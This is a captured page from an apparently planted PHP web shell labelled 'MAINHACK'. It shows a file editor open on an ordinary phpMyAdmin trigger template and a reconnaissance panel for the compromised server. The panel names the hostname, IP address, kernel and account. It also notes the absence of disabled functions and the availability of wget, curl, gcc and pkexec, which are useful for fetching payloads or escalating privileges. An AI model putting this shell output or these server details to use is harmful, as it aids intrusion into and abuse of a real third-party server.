[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: editor_form.twig
<form class="rte_form" action="{{ url('/database/triggers') }}" method="post"> {{ get_hidden_inputs(db, table) }} <input name="{{ is_edit ? 'edit_item' : 'add_item' }}" type="hidden" value="1"> {% if is_edit %} <input name="item_original_name" type="hidden" value="{{ item.item_original_name }}"> {% endif %} {% if is_ajax %} <input type="hidden" name="{{ is_edit ? 'editor_process_edit' : 'editor_process_add' }}" value="true"> <input type="hidden" name="ajax_request" value="true"> {% endif %} <div class="card"> <div class="card-header"> {% trans 'Details' %} {% if not is_edit %} {{ show_mysql_docu('CREATE_TRIGGER') }} {% endif %} </div> <div class="card-body"> <table class="rte_table table table-borderless table-sm"> <tr> <td>{% trans 'Trigger name' %}</td> <td><input type="text" name="item_name" maxlength="64" value="{{ item.item_name }}"></td> </tr> <tr> <td>{% trans 'Table' %}</td> <td> <select name="item_table"> {% for item_table in tables %} <option value="{{ item_table }}"{{ (is_edit and item_table == item.item_table) or (not is_edit and item_table == table) ? ' selected' }}>{{ item_table }}</option> {% endfor %} </select> </td> </tr> <tr> <td>{% trans %}Time{% context %}Trigger action time{% endtrans %}</td> <td> <select name="item_timing"> {% for item_time in time %} <option value="{{ item_time }}"{{ item.item_action_timing == item_time ? ' selected' }}>{{ item_time }}</option> {% endfor %} </select> </td> </tr> <tr> <td>{% trans 'Event' %}</td> <td> <select name="item_event"> {% for event in events %} <option value="{{ event }}"{{ item.item_event_manipulation == event ? ' selected' }}>{{ event }}</option> {% endfor %} </select> </td> </tr> <tr> <td>{% trans 'Definition' %}</td> <td><textarea name="item_definition" rows="15" cols="40">{{ item.item_definition }}</textarea></td> </tr> <tr> <td>{% trans 'Definer' %}</td> <td><input type="text" name="item_definer" value="{{ item.item_definer }}"></td> </tr> </table> </div> {% if not is_ajax %} <div class="card-footer"> <input class="btn btn-primary" type="submit" name="{{ is_edit ? 'editor_process_edit' : 'editor_process_add' }}" value="{% trans 'Go' %}"> </div> {% endif %} </div> </form>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.92 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002